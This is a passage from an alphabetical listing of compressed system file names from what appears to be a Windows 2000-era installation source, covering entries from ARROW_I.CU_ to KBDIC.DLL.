ARROW_I.CU_, ARROW_IL.CU_, ARROW_IM.CU_, ARROW_L.CU_, ARROW_M.CU_,
ARROW_R.CU_, ARROW_RL.CU_, ARROW_RM.CU_, ASC.SY_, ASC3350P.SY_,
ASC3550.SY_, ASCTRLS.OC_, ASFSIPC.DL_, ASP.DL_, ASPPERF.DL_,
ASPTXN.DL_, ASR.CH_, ASWRULE.GI_, ASYCFILT.DL_, ASYNCEQN.IN_,
ASYNCMAC.SY_, AT.EX_, ATABOOT.SY_, ATAPI.SY_, ATIVIDIN.IN_,
ATKCTRS.DL_, ATL.DL_, ATM.CH_, ATMADM.EX_, ATMARPC.SY_,
ATMFD.DL_, ATMLANE.SY_, ATMLIB.DL_, ATMUNI.SY_, ATT.HT_,
ATTRIB.EX_, AUDIOCDC.HL_, AUTHFILT.DL_, AUTHSERV.MI_, AUTOCHK.EXE,
AUTOCONV.EX_, AUTOEXEC.NT_, AUTOFMT.EXE, AUTOLFN.EX_, AVICAP.DL_,
AVICAP32.DL_, AVIFIL32.DL_, AVIFILE.DL_, AVMETER.DL_, AVMISDN.IN_,
AVSHELL.DL_, AVTAPI.DL_, AVWAV.DL_, AXANT5.IN_, AXPERF.IN_,
BACHSB~1.RM_, BANANA.AN_, BANSHEE.IN_, BARBER.AN_, BASENOTE.CO_,
BASESRV.DL_, BASICDC.IN_, BASICSV.IN_, BASICWK.IN_, BATMETER.DL_,
BATT.DL_, BATTERY.IN_, BEAM_I.CU_, BEAM_IL.CU_, BEAM_IM.CU_,
BEAM_L.CU_, BEAM_M.CU_, BEAM_R.CU_, BEAM_RL.CU_, BEAM_RM.CU_,
BEEP.SY_, BEETHO~2.RM_, BIG5.NL_, BIGFOOT.BM_, BINLSVC.DL_,
BIOS1.RO_, BIOS4.RO_, BIOSINFO.INF, BLANK.HT_, BLANKBKG.GI_,
BLIP.WA_, BLULAC16.BM_, BLUMON16.BM_, BNTS.DL_, BOOTCONS.CH_,
BOOTFIX.BIN, BOOTOK.EX_, BOOTVID.DL_, BOOTVRFY.EX_, BOPOMOFO.NL_,
BOPOMOFO.UC_, BR549.DL_, BREP.CH_, BREP.HL_, BRIEF.CH_,
BROWSCAP.DL_, BROWSCAP.IN_, BROWSELC.DL_, BROWSER.DL_, BROWSEUI.DL_,
BTZHSEPA.GI_, BUBBLES.BM_, BUSLOGIC.SY_, BUSMOUSE.SY_, BUSY_I.CU_,
BUSY_IL.CU_, BUSY_IM.CU_, BUSY_L.CU_, BUSY_M.CU_, BUSY_R.CU_,
BUSY_RL.CU_, BUSY_RM.CU_, CABINET.DLL, CABVIEW.DL_, CACLS.EX_,
CALC.CH_, CALC.EX_, CALC.HL_, CALLCONT.DL_, CAMERA.CH_,
CANYON.MI_, CAPESNPN.DL_, CARDS.DL_, CATSRV.DL_, CATSRVPS.DL_,
CATSRVUT.DL_, CB32.EX_, CCFGNT.DL_, CD20XRNT.SY_, CDFS.SY_,
CDFVIEW.DL_, CDM.DL_, CDMODEM.DL_, CDONTS.DL_, CDOSYS.DL_,
CDPLAYER.EX_, CDROM.IN_, CDROM.SY_, CERTCARC.AS_, CERTCERT.GI_,
CERTCKPN.AS_, CERTCLAS.IN_, CERTCLI.DL_, CERTDFLT.AS_, CERTFNSH.AS_,
CERTMAP.OC_, CERTMGR.DL_, CERTMGR.HL_, CERTMGR.MS_, CERTMG_W.CH_,
CERTRQAD.AS_, CERTRQBI.AS_, CERTRQMA.AS_, CERTRQTP.IN_, CERTRQUS.AS_,
CERTRQXT.AS_, CERTRSDN.AS_, CERTRSER.AS_, CERTRSIS.AS_, CERTRSOB.AS_,
CERTRSPN.AS_, CERTSGCL.IN_, CERTSRCK.IN_, CERTWIZ.OC_, CFGMGR32.DL_,
CFMCANON.IN_, CFMMUSTK.IN_, CFMRICOH.IN_, CFMTWAIN.DE_, CGA40737.FO_,
CGA40850.FO_, CGA40852.FO_, CGA40857.FO_, CGA40866.FO_, CGA40869.FO_,
CGA40WOA.FO_, CGA80737.FO_, CGA80850.FO_, CGA80852.FO_, CGA80857.FO_,
CGA80866.FO_, CGA80869.FO_, CGA80WOA.FO_, CHANNELS.SC_, CHARMAP.CH_,
CHARMAP.EX_, CHARMAP.HL_, CHCP.CO_, CHIMES.WA_, CHIPS5.IN_,
CHKDSK.EX_, CHKNTFS.EX_, CHKUPGRD.BAT, CHNSCSVR.HL_, CHORD.WA_,
CIADMIN.DL_, CIADMIN.HT_, CIADV.MS_, CIC.DL_, CIDAEMON.EX_,
CIMW32EX.DL_, CIMWIN32.DL_, CIMWIN32.MF_, CIMWIN32.MO_, CIODM.DL_,
CIPHER.EX_, CIQUERY.HT_, CIS.HT_, CIS.SC_, CISVC.EX_,
CITBANNA.GI_, CITRBKG.GI_, CITRPUN.HT_, CJIME.CA_, CKCNV.EX_,
CLAIRE~1.RM_, CLASS2.SY_, CLASSES.CA_, CLASSES.CE_, CLASSES.ZI_,
CLASSPNP.SY_, CLB.DL_, CLBCATEX.DL_, CLBCATQ.DL_, CLEANMGR.EX_,
CLEANRI.EX_, CLEARDAY.HT_, CLICONF.HL_, CLICONFG.DL_, CLICONFG.EX_,
CLIPBRD.CH_, CLIPBRD.EX_, CLIPBRD.HL_, CLIPSRV.EX_, CLOCK.AV_,
CLRDAYBG.JP_, CLSPACK.EX_, CLUSAPI.DL_, CLUSIIS4.DL_, CLUSTER.EX_,
CMCFG32.DL_, CMCON_W.CH_, CMD.EX_, CMDIAL32.DL_, CMDL32.EX_,
CMMGR32.EX_, CMMGR32.HL_, CMMON32.EX_, CMNQUERY.DL_, CMOS.RA_,
CMPBK32.DL_, CMPROPS.DL_, CMSTP.EX_, CMUTIL.DL_, CNETCFG.DL_,
CNFGPRTS.OC_, CNVFAT.DL_, COADMIN.DL_, COFFEEBN.BM_, COIN.AN_,
COLBACT.DL_, COLORMGT.CH_, COMADDIN.DL_, COMADMIN.DL_, COMCAT.DL_,
COMCLUST.EX_, COMCTL32.DL_, COMDLG32.DL_, COMEMPTY.DA_, COMEXP.CH_,
COMEXP.HL_, COMEXP.MS_, COMIC.TT_, COMICBD.TT_, COMM.DR_,
COMMAND.CO_, COMMDLG.DL_, COMMON.CH_, COMMUNIC.IN_, COMNTWKS.IN_,
COMP.EX_, COMPACT.EX_, COMPATWS.IN_, COMPFILT.DL_,
COMPLUS.FL_, COMPMGMT.CH_, COMPMGMT.MS_, COMPOBJ.DL_, COMPSTUI.DL_,
COMPSTUI.HL_, COMREPL.DL_, COMREPL.EX_, COMREREG.EX_, COMSETUP.DL_,
COMSNAP.DL_, COMSVCS.DL_, COMUID.DL_, CONCEPTS.CH_, CONF.AD_,
CONF.CH_, CONF.CN_, CONF.EX_, CONF.HL_, CONFDENT.CO_,
CONFIG.NT_, CONFMRSL.DL_, CONFMSP.DL_, CONIME.EX_, CONNECT.CN_,
CONNECT.HL_, CONSOLE.DL_, CONTEXT.CL_, CONTROL.EX_, CONTROT.DL_,
CONVERT.EX_, CONVLOG.EX_, CORELIST.IN_, CORPOL.DL_, COUE1257.FO_,
COUF1257.FO_, COUNTER.AN_, COUNTERS.DL_, COUNTRY.SY_, COUR.TT_,
COURBD.TT_, COURBI.TT_, COURE.FO_, COUREE.FO_, COUREG.FO_,
COURER.FO_, COURET.FO_, COURF.FO_, COURFE.FO_, COURFG.FO_,
COURFR.FO_, COURFT.FO_, COURI.TT_, CPANEL.CH_, CPANEL_W.CH_,
CPQARRAY.SY_, CPQFCALM.SY_, CPQFWS2E.SY_, CROSS.CU_, CROSS_I.CU_,
CROSS_IL.CU_, CROSS_IM.CU_, CROSS_L.CU_, CROSS_M.CU_, CROSS_R.CU_,
CROSS_RL.CU_, CROSS_RM.CU_, CRTDLL.DL_, CRYPT32.DL_, CRYPTDLG.DL_,
CRYPTDLL.DL_, CRYPTEXT.DL_, CRYPTNET.DL_, CRYPTSVC.DL_, CRYPTUI.DL_,
CSAPI3T1.DL_, CSCDLL.DL_, CSCRIPT.EX_, CSCUI.DL_, CSCUI.HL_,
CSRSRV.DL_, CSRSS.EX_, CTL3D32.DL_, CTL3DV2.DL_, CTLEGACY.IN_,
CTMAPORT.IN_, CTMVPORT.IN_, CTYPE.NL_, C_037.NL_, C_10000.NL_,
C_10001.NL_, C_10002.NL_, C_10003.NL_, C_10004.NL_, C_10005.NL_,
C_10006.NL_, C_10007.NL_, C_10008.NL_, C_10010.NL_, C_10017.NL_,
C_10021.NL_, C_10029.NL_, C_10079.NL_, C_10081.NL_, C_10082.NL_,
C_1026.NL_, C_1047.NL_, C_1140.NL_, C_1141.NL_, C_1142.NL_,
C_1143.NL_, C_1144.NL_, C_1145.NL_, C_1146.NL_, C_1147.NL_,
C_1148.NL_, C_1149.NL_, C_1250.NL_, C_1251.NL_, C_1252.NL_,
C_1253.NL_, C_1254.NL_, C_1255.NL_, C_1256.NL_, C_1257.NL_,
C_1258.NL_, C_1361.NL_, C_20000.NL_, C_20001.NL_, C_20002.NL_,
C_20003.NL_, C_20004.NL_, C_20005.NL_, C_20105.NL_, C_20106.NL_,
C_20107.NL_, C_20108.NL_, C_20127.NL_, C_20261.NL_, C_20269.NL_,
C_20273.NL_, C_20277.NL_, C_20278.NL_, C_20280.NL_, C_20284.NL_,
C_20285.NL_, C_20290.NL_, C_20297.NL_, C_20420.NL_, C_20423.NL_,
C_20424.NL_, C_20833.NL_, C_20838.NL_, C_20866.NL_, C_20871.NL_,
C_20880.NL_, C_20905.NL_, C_20924.NL_, C_20930.NL_, C_20931.NL_,
C_20932.NL_, C_20933.NL_, C_20935.NL_, C_20936.NL_, C_20937.NL_,
C_20939.NL_, C_20949.NL_, C_20950.NL_, C_21025.NL_, C_21027.NL_,
C_21866.NL_, C_28591.NL_, C_28592.NL_, C_28593.NL_, C_28594.NL_,
C_28595.NL_, C_28596.NL_, C_28597.NL_, C_28598.NL_, C_28599.NL_,
C_28605.NL_, C_437.NL_, C_500.NL_, C_708.NL_, C_720.NL_,
C_737.NL_, C_775.NL_, C_850.NL_, C_852.NL_, C_855.NL_,
C_857.NL_, C_858.NL_, C_860.NL_, C_861.NL_, C_862.NL_,
C_863.NL_, C_864.NL_, C_865.NL_, C_866.NL_, C_869.NL_,
C_870.NL_, C_874.NL_, C_875.NL_, C_932.NL_, C_936.NL_,
C_949.NL_, C_950.NL_, C_IS2022.DL_, C_ISCII.DL_, D3DIM.DL_,
D3DIM700.DL_, D3DPMESH.DL_, D3DRAMP.DL_, D3DREF.DL_, D3DRM.DL_,
D3DXOF.DL_, DAC960NT.SY_, DAJAVA.CAB, DAJAVAC.CA_, DANCEO~2.RM_,
DANIM.DL_, DAO360.DL_, DATACLEN.DL_, DATETIME.CH_, DATIME.DL_,
DAXCTLE.OC_, DBGHELP.DLL, DBMSADSN.DL_, DBMSRPCN.DL_, DBMSSOCN.DL_,
DBMSSPXN.DL_, DBMSVINN.DL_, DBNMPNTW.DL_, DCAP32.DL_, DCIMAN32.DL_,
DCOMCNFG.CH_, DCOMCNFG.EX_, DCOMCNFG.HL_, DCOMEXT.DL_, DDAO36U.DL_,
DDEML.DL_, DDESHARE.CH_, DDESHARE.EX_, DDESHARE.HL_, DDMPRXY.EX_,
DDRAW.DL_, DDRAWEX.DL_, DEBUG.EX_, DEFLTSV.IN_, DEFLTWK.IN_,
DEFRAG.CH_, DEFRAG.HL_, DELTTSUL.EX_, DELUXCD.CH_, DELUXCD.HL_,
DESK.CP_, DESKADP.DL_, DESKMON.DL_, DESKPERF.DL_, DESKTOP.IN_,
DEVENUM.DL_, DEVMGMT.MS_, DEVMGR.CH_, DEVMGR.DL_, DEVMGR.HL_,
DFRG.IN_, DFRG.MS_, DFRGFAT.EX_, DFRGNTFS.EX_, DFRGRES.DL_,
DFRGSNAP.DL_, DFRGUI.DL_, DFSSHLEX.DL_, DG18D50.IC_, DG18D65.IC_,
DG18D93.IC_, DG22D50.IC_, DG22D65.IC_, DG22D93.IC_, DGAPORT.IN_,
DGASYNC.IN_, DGCLASS.DL_, DGPRPAGE.DL_, DGPRPAGE.HL_, DGRPSETU.DL_,
DGSETUP.DL_, DHCP.MI_, DHCPCSVC.DL_, DHCPMON.DL_, DHCPSAPI.DL_,
DHTMLED.OC_, DIAGBOOT.CH_, DIALER.CH_, DIALER.EX_, DIALER.HL_,
DIANTZ.EX_, DIDIVA.IN_, DIGEST.DL_, DIGIISDN.IN_, DIGIRAS.CN_,
DIGIRP.IN_, DIGIRPRT.IN_, DIJOY.HL_, DING.WA_, DINOSAU2.AN_,
DINOSAUR.AN_, DINPUT.DL_, DIRECTDB.DL_, DISCOVER.EX_, DISK.IN_,
DISK.SY_, DISK1, DISKCOMP.CO_, DISKCOPY.CO_, DISKCOPY.DL_,
DISKDUMP.SY_, DISKMGMT.CH_, DISKMGMT.HL_, DISKMGMT.MS_, DISKPERF.EX_,
DISKPERF.SY_, DISPDET.IN_, DISPEX.DL_, DISPLAY.CH_, DISPLAY.HL_,
DISPLAY.IN_, DLC.SY_, DLCAPI.DL_, DLLHOST.EX_, DLLHST3G.EX_,
DMADMIN.EX_, DMBAND.DL_, DMBOOT.SY_, DMCOMPOS.DL_, DMCONFIG.DL_,
DMDLGS.DL_, DMDSKMGR.DL_, DMDSKRES.DL_, DMIME.DL_, DMINTF.DL_,
DMIO.SY_, DMLOAD.SY_, DMLOADER.DL_, DMOCX.DL_, DMREG.INF
DMREMOTE.EX_, DMSERVER.DL_, DMSTYLE.DL_, DMSYNTH.DL_, DMUSIC.DL_,
DMUTIL.DL_, DMVIEW.OC_, DMWINCTL.DL_, DNARY.MD_, DNLOAD.BI_,
DNSAPI.DL_, DNSMGMT.MS_, DNSRSLVR.DL_, DOCPROP.DL_, DOCPROP2.DL_,
DOS737.FO_, DOS869.FO_, DOSAPP.FO_, DOSCALLS.DL_, DOSHELP.HL_,
DOSKEY.EX_, DOSNET.INF, DOSX.EX_, DOT4.IN_, DOT4PRT.IN_,
DPLAY.DL_, DPLAYSVR.EX_, DPLAYX.DL_, DPMODEMX.DL_, DPSERIAL.DL_,
DPWSOCK.DL_, DPWSOCKX.DL_, DRIVER.CAB, DRIVPROP.CH_, DRMCLIEN.DL_,
DRMSTOR.DL_, DRUM.AN_, DRVINDEX.INF, DRVVFP.CH_, DRWATSON.EX_,
DRWTSN32.CH_, DRWTSN32.EX_, DRWTSN32.HL_, DS16GT.DL_, DS32GT.DL_,
DSAUTH.DL_, DSCLIENT.HL_, DSCTL.DL_, DSFOLDER.DL_, DSHOWEXT.IN_,
DSKOUI_W.CH_, DSKQUOTA.DL_, DSKQUOUI.DL_, DSKQUOUI.HL_, DSOUND.DL_,
DSOUND.VX_, DSOUND3D.DL_, DSPROP.DL_, DSPROV.DL_, DSPROV.MO_,
DSQUERY.DL_, DSSBASE.DLL, DSSEC.DA_, DSSEC.DL_, DSUIEXT.DL_,
DTCNTWKS.IN_, DTCSETUP.CA_, DTCSETUP.EXE, DVC323.DL_, DVC323.DS_,
DVC323.IN_, DVC323.OC_, DVD.IN_, DVDPLAY.CH_, DVDPLAY.HL_,
DX3.CA_, DX3.CE_, DX3.ZI_, DX3J.DL_, DX7VB.DL_,
DXAPI.SY_, DXDIAG.EX_, DXDIAGI.CH_, DXDIAGM.CH_, DXMASF.DL_,
DXMRTP.DL_, DXTMSFT.DL_, DXTMSFT3.DL_, DXTRANS.DL_, ECLANDD.IN_,
ECWANDD.IN_, EDB500.DL_, EDIT.CO_, EDIT.HL_, EDLIN.EX_,
EFS.SY_, EFSADU.DL_, EGA.CP_, EGA40737.FO_, EGA40850.FO_,
EGA40852.FO_, EGA40857.FO_, EGA40866.FO_, EGA40869.FO_, EGA40WOA.FO_,
EGA80737.FO_, EGA80850.FO_, EGA80852.FO_, EGA80857.FO_, EGA80866.FO_,
EGA80869.FO_, EGA80WOA.FO_, EICCARD.IN_, EICONA.CA_, EICONP.CA_,
EICPCARD.IN_, EICVIRTA.IN_, ELS.CH_, ELS.DL_, ELS.HL_,
ENCINST.EX_, ENCINST.IN_, ENCRYPT.CH_, EQNCLASS.DL_, EQNPORT.IN_,
ERRORS.CH_, ES.DL_, ESENT.DL_, ESENTPRF.DL_, ESENTPRF.HX_,
ESENTPRF.IN_, ESENTUTL.EX_, EUDCEDIT.CH_, EUDCEDIT.EX_, EUDCEDIT.HL_,
EULA.TXT, EVENTLOG.DL_, EVENTVWR.EX_, EVENTVWR.MS_, EVNTAGNT.DL_,
EVNTCMD.EX_, EVNTWIN.EX_, EVNTWIN.HL_, EXCEL.XL_, EXCEL4.XL_,
EXE2BIN.EX_, EXPAND.EXE, EXPLORER.EX_, EXPLORER.SC_, EXPSRV.DL_,
EXSTRACE.DL_, EXTRAC32.EX_, F3AHVOAS.DL_, FASTFAT.SY_, FASTOPEN.EX_,
FASTPROX.DL_, FAX.CH_, FAX.CP_, FAX.HL_, FAXADMIN.DL_,
FAXCOM.DL_, FAXCOUNT.H_, FAXCOVER.CH_, FAXCOVER.EX_, FAXEVENT.DL_,
FAXEXT.EC_, FAXEXT32.DL_, FAXMAPI.DL_, FAXMGMT.CH_, FAXOCM.DL_,
FAXPERF.DL_, FAXPERF.IN_, FAXQUEUE.CH_, FAXQUEUE.EX_, FAXROUTE.DL_,
FAXSEND.EX_, FAXSERV.MS_, FAXSETUP.IN_, FAXSHELL.DL_, FAXSVC.EX_,
FAXT30.DL_, FAXTIFF.DL_, FAXXP32.DL_, FC.EX_, FD16_700.SY_,
FDC.IN_, FDC.SY_, FDE.DL_, FDE.HL_, FDEPLOY.DL_,
FEATHER.BM_, FECLIENT.DL_, FIERULD.GI_, FIESTA.HT_, FIESTABG.JP_,
FILELIST.DA_, FILEMGMT.DL_, FILEMGMT.HL_, FILE_SRV.CH_, FILE_SRV.HL_,
FILLITUP.AN_, FIND.CH_, FIND.EX_, FINDSTR.EX_, FINGER.EX_,
FIREPORT.SY_, FIXMAPI.EX_, FJTSCAN.IN_, FLASH.IN_, FLASHPNT.SY_,
FLPYDISK.IN_, FLPYDISK.SY_, FMIFS.DL_, FOLDEROP.CH_, FONT.DA_,
FONT.IN_, FONTEXT.DL_, FONTS.CH_, FONTS.HL_, FONTSUB.DL_,
FONTVIEW.EX_, FORCEDOS.EX_, FORMAT.CO_, FORTUTIL.EX_, FP4.CA_,
FP40EXT.CAB, FP40EXT.DL_, FP40EXT.IN_, FRAMEBUF.DL_, FRAMEDYN.DL_,
FREECELL.CH_, FREECELL.EX_, FREECELL.HL_, FS2.CF_, FS2.DE_,
FS2.DL_, FSCFG.DL_, FSCONINS.DL_, FSMGMT.MS_, FSVGA.IN_,
FSVGAADD.IN_, FSVGADEL.IN_, FS_REC.SY_, FTDISK.SY_, FTP.EX_,
FTP.MI_, FTPCTRS.IN_, FTPCTRS2.DL_, FTPMIB.DL_, FTPSAPI2.DL_,
FTPSVC2.DL_, FTSRCH.DL_, FURELI~1.RM_, FX32.CH_, FYI.CO_,
G711CODC.AX_, G723CODC.AX_, GAMEENUM.EX_, GAMEPORT.IN_, GAMES.IN_,
GB2312.UC_, GCDEF.DL_, GDI.EX_, GDI32.DL_, GEND9318.IC_,
GEND9322.IC_, GENERAL.ID_, GENERIC.CO_, GENPRINT.IN_, GEORGIA.TT_,
GEORGIAB.TT_, GEORGIAI.TT_, GEORGIAZ.TT_, GETSTART.CH_, GETSTART.GI_,
GETUNAME.DL_, GLACIER.HT_, GLACRBKG.JP_, GLMF32.DL_, GLOSSARY.CH_,
GLOSSARY.HL_, GLU32.DL_, GM.DL_, GMREADME.TX_, GONEFISH.BM_,
GPEDIT.DL_, GPEDIT.HL_, GPEDIT.MS_, GPEDIT_W.CH_, GPKCSP.DL_,
GPKRSRC.DL_, GPTEXT.DL_, GPTEXT.HL_, GRAFTABL.CO_, GRAPHICS.CO_,
GRAPHICS.PR_, GRNSTONE.BM_, GRPCONV.EX_, GZIP.DL_, H261_32.AX_,
H263_32.AX_, H323.TS_, H323CC.DL_, H323MSP.DL_, HAL.DL_,
HAL.IN_, HALAACPI.DL_, HALACPI.DL_, HALAPIC.DL_, HALBORG.DLL
HALFTONE.HL_, HALLOF~2.RM_, HALMACPI.DL_, HALMPS.DL_, HALSP.DL_,
HAND.AN_, HANDAPST.AN_, HANDLER.RE_, HANDLER.SR_, HANDNESW.AN_,
HANDNO.AN_, HANDNS.AN_, HANDNWSE.AN_, HANDSAFE.RE_, HANDUNSF.RE_,
HANDWAIT.AN_, HANDWE.AN_, HARDWARE.CH_, HARDWARE.HL_, HARDWARE.IN_,
HARROW.CU_, HCROSS.CU_, HDWWIZ.CP_, HELP.EX_, HELP_I.CU_,
HELP_IL.CU_, HELP_IM.CU_, HELP_L.CU_, HELP_M.CU_, HELP_R.CU_,
HELP_RL.CU_, HELP_RM.CU_, HG18D50.IC_, HG18D65.IC_, HG18D93.IC_,
HG22D50.IC_, HG22D65.IC_, HG22D93.IC_, HH.EX_, HHCTRL.OC_,
HHCTRLUI.DL_, HHSETUP.DL_, HIBEAM.CU_, HIDCLASS.SY_, HIDPARSE.SY_,
HIDSERV.IN_, HIDUSB.SY_, HILGBBS.HT_, HIMEM.SY_, HINDERED.ID_,
HISECDC.IN_, HISECWS.IN_, HIVECLS.INF, HIVEDEF.INF, HIVESFT.INF
HIVESYS.INF, HIVEUSD.INF, HLINK.DL_, HMMAPI.DL_, HMOVE.CU_,
HNESW.CU_, HNODROP.CU_, HNS.CU_, HNWSE.CU_, HOMEPAGE.IN_,
HORSE.AN_, HOSTMIB.DL_, HOSTMIB.MI_, HOSTNAME.EX_, HOSTS
HOTPLUG.DL_, HOURGLA2.AN_, HOURGLA3.AN_, HOURGLAS.AN_, HOWTO.CH_,
HP1600MP.IC_, HPCRDP.CA_, HPMON.DLL, HPMON.HL_, HPOJSCAN.IN_,
HPSCAN.IN_, HTICONS.DL_, HTML32.CN_, HTRN_JIS.DL_, HTTP.MI_,
HTTPEXT.DL_, HTTPMIB.DL_, HTTPODBC.DL_, HTUI.DL_, HWCOMP.DAT
HWE.CU_, HYPERTRM.CH_, HYPERTRM.DL_, HYPERTRM.EX_, HYPERTRM.HL_,
I740NT5.IN_, I8042PRT.SY_, I81XNT5.IN_, IAC25_32.AX_, IAS.MD_,
IAS.MS_, IASACCT.DL_, IASADS.DL_, IASHLPR.DL_, IASNAP.DL_,
IASPERF.DL_, IASPIPE.DL_, IASPOLCY.DL_, IASRAD.DL_, IASRECST.DL_,
IASSAM.DL_, IASSDO.DL_, IASSVCS.DL_, IASUSERR.DL_, IBMSYNC.IN_,
ICCVID.DL_, ICFGNT5.DL_, ICM32.DL_, ICMINST.IN_, ICMP.DL_,
ICMUI.DL_, ICONTE~1.CL_, ICWCONN.DL_, ICWCONN1.EX_, ICWCONN2.EX_,
ICWDIAL.CH_, ICWDIAL.DL_, ICWDL.DL_, ICWHELP.DL_, ICWIP.DU_,
ICWNT5.IN_, ICWPHBK.DL_, ICWRES.DL_, ICWRMIND.EX_, ICWTUTOR.EX_,
ICWUTIL.DL_, ICWX25A.DU_, ICWX25B.DU_, ICWX25C.DU_, IDENT.HL_,
IDEOGRAF.UC_, IDQ.DL_, IE.IN_, IE4UINIT.EX_, IEAKENG.DL_,
IEAKMMC.CH_, IEAKSIE.DL_, IEAKUI.DL_, IEDKCS32.DL_, IEFILES5.IN_,
IEINFO5.MO_, IEINFO5.OC_, IENUMN~1.CL_, IEPEERS.DL_, IERESET.IN_,
IERNONCE.DL_, IESETUP.DL_, IESHWIZ.EX_, IESUPP.CH_, IEUINIT.IN_,
IEWEBHLP.CH_, IEXPLORE.CH_, IEXPLORE.EX_, IEXPLORE.HL_, IEXPRESS.EX_,
IFMON.DL_, IFSUTIL.DL_, IGETCO~1.CL_, IGMPAGNT.DL_, IIS.DL_,
IIS.IN_, IIS.MS_, IIS5_01.CAB, IIS5_02.CAB, IIS5_03.CAB
IISADMIN.DL_, IISCHEMA.DL_, IISCLEX4.DL_, IISCRMAP.DL_, IISDBG.CAB
IISDBG.DL_, IISDBG.IN_, IISEXT.DL_, IISFECNV.DL_, IISLOG.DL_,
IISMAP.DL_, IISNTW.CH_, IISPERF.PM_, IISRESET.EX_, IISRSTAP.DL_,
IISRSTAS.EX_, IISRTL.DL_, IISSUBA.DL_, IISSYNC.EX_, IISUI.DL_,
ILS.DL_, IMAADP32.AC_, IMAGE.IN_, IMAGEHLP.DLL, IMAGEVUE.IN_,
IMDBSRV.EX_, IMESHARE.DL_, IMGADMIN.OC_, IMGCMN.DL_, IMGEDIT.OC_,
IMGHELP.HL_, IMGMGT.CH_, IMGMGT.HL_, IMGSCAN.OC_, IMGSHL.DL_,
IMGTASKS.CH_, IMGTHUMB.OC_, IMGUTIL.DL_, IMGVIEW.CH_, IMM32.DL_,
IMPACT.TT_, IMS.CAB, IMS.CAT, IMSINSNT.DL_, IMS_W.IN_,
IMTXAS.CL_, INDICDLL.DL_, INETCFG.DL_, INETCOMM.DL_, INETCORP.AD_,
INETCPL.CP_, INETCPLC.DL_, INETINFO.EX_, INETMGR.DL_, INETMGR.EX_,
INETMIB1.DL_, INETPP.DL_, INETRES.AD_, INETRES.DL_, INETSET.AD_,
INETSLOC.DL_, INETSRV.MI_, INETWIZ.EX_, INFOADMN.DL_, INFOCOMM.DL_,
INFOCTRS.DL_, INFOCTRS.IN_, INFOSOFT.DL_, INFOSPBZ.BM_, INFOSPCE.BM_,
INFRARED.HL_, INFRAR_W.CH_, INI910U.SY_, INITPKI.DL_, INPUT.IN_,
INS.CAB, INS.CAT, INS.IN_, INSENG.DL_, INSTALL.IN_,
INSTCAT.SQ_, INSTCM.IN_, INSTDSS5.DL_, INSTIPS5.DL_, INSTLSA5.DL_,
INSTNDI5.DL_, INSTRSA5.DL_, INSTSCH5.DL_, INTELIDE.SY_, INTELLI_,.CH_,
INTERNAT.EX_, INTL.CP_, INTL.INF, IOBJEC~1.CL_, IOBJEC~2.CL_,
IOBJEC~3.CL_, IOLOGMSG.DL_, IPCONF.TS_, IPCONFIG.EX_, IPFLTDRV.SY_,
IPFORWD.MI_, IPHLPAPI.DL_, IPINFO.INF, IPINIP.SY_, IPMONTR.DL_,
IPNAT.SY_, IPNATHLP.DL_, IPPROMON.DL_, IPP_0000.IN_, IPP_0001.AS_,
IPP_0002.AS_, IPP_0002.GI_, IPP_0003.AS_, IPP_0003.GI_, IPP_0004.AS_,
IPP_0004.GI_, IPP_0005.AS_, IPP_0005.GI_, IPP_0006.AS_, IPP_0007.AS_,
IPP_0008.AS_, IPP_0009.AS_, IPP_0010.AS_, IPP_0011.AS_, IPP_0012.AS_,
IPP_0012.GI_, IPP_0013.AS_, IPP_0014.AS_, IPP_0015.AS_, IPP_0015.GI_,
IPP_0016.AS_, IPP_ADSI.IN_, IPP_RES.IN_, IPP_UTIL.IN_, IPRIP.DL_,
IPROP.DL_, IPRTPRIO.DL_, IPRTRMGR.DL_, IPSCON_W.CH_, IPSEC.SY_,
IPSECMON.EX_, IPSECSNP.DL_, IPSECSNP.HL_, IPSRAIDN.SY_, IPSSNP_W.CH_,
IPXMONTR.DL_, IPXPROMN.DL_, IPXRIP.DL_, IPXROUTE.EX_, IPXRTMGR.DL_,
IPXSAP.DL_, IPXWAN.DL_, IR32_32.DL_, IR41_32.AX_, IR41_QC.DL_,
IR41_QCX.DL_, IR50_32.DL_, IR50_QC.DL_, IR50_QCX.DL_, IRCLASS.DL_,
IRDA.SY_, IRDAALIF.IN_, IRDASMC.IN_, IRFTP.EX_, IRMON.DL_,
IRNSC.IN_, IRPROPS.CP_, IRSIR.SY_, IRTOS4MO.IN_, IRTOS4MU.IN_,
IR_BEGIN.WA_, IR_END.WA_, IR_INTER.WA_, IS11.DL_, IS11M2.DL_,
IS50.CF_, IS50.DE_, IS50.DL_, IS60.CF_, IS60.DE_,
IS60.DL_, ISAPNP.SY_, ISATQ.DL_, ISCOMLOG.DL_, ISCON_W.CH_,
ISECUR~1.CL_, ISECUR~2.CL_, ISECUR~3.CL_, ISHARE~1.CL_, ISHARE~2.CL_,
ISHARE~3.CL_, ISIGN32.DL_, ISIGNUP.EX_, ISM.DL_, ISRDBG32.DL_,
IS_W.CH_, ITIRCL.DL_, ITRANS~1.CL_, ITSS.DL_, IVFSRC.AX_,
IVY.GI_, IVY.HT_, IWRPS.DL_, IXHELP.HL_, IXQLANG.HT_,
IXSSO.DL_, JAVACYPT.DL_, JAVAPERM.HL_, JAVAPRXY.DL_, JAVART.DL_,
JAVASEC.HL_, JDBGMGR.EX_, JET500.DL_, JIT.DL_, JOBEXEC.DL_,
JOY.CH_, JOY.CP_, JPEG1X32.DL_, JPEG2X32.DL_, JSCRIPT.DL_,
JSPROXY.DL_, JVIEW.EX_, KANJI_1.UC_, KANJI_2.UC_, KB16.CO_,
KBD101.DL_, KBD101A.DL_, KBD106N.DL_, KBDAL.DLL, KBDARME.DLL
KBDARMW.DLL, KBDAX2.DL_, KBDAZE.DLL, KBDAZEL.DLL, KBDBE.DLL
KBDBENE.DL_, KBDBLR.DLL, KBDBR.DLL, KBDBU.DLL, KBDCA.DLL
KBDCAN.DL_, KBDCLASS.SY_, KBDCR.DLL, KBDCZ.DLL, KBDCZ1.DLL
KBDCZ2.DLL, KBDDA.DLL, KBDDV.DLL, KBDES.DLL, KBDEST.DLL
KBDFC.DLL, KBDFI.DLL, KBDFO.DL_, KBDFR.DLL, KBDGAE.DLL
KBDGEO.DLL, KBDGKL.DLL, KBDGR.DLL, KBDGR1.DLL, KBDHE.DLL
KBDHE220.DLL, KBDHE319.DLL, KBDHELA2.DLL, KBDHELA3.DLL, KBDHEPT.DLL
KBDHID.SY_, KBDHU.DLL, KBDHU1.DLL, KBDIBM02.DL_, KBDIC.DLL
